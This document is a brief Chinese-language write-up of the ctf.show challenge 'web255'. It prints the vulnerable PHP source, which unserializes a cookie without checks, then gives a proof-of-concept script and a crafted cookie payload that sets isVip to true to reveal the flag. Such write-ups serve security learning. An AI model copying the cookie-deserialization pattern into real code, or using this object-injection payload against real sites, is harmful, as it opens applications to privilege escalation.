web255

代码审计

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}	

这是一道非常简单序列化，只需要让反序列化后的 isVip = true 即可

构造POC

<?php
class ctfShowUser
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
    public $isVip = false;

}
$user = new ctfShowUser();
$user -> username = "hello";
$user -> password = "word";
$user -> isVip = true;
echo(urlencode(serialize($user)));

payload

get

http://d420b075-cbfb-4fa9-8466-1089aa0909e9.challenge.ctf.show/?username=hello&password=word

cookies

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22hello%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22word%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D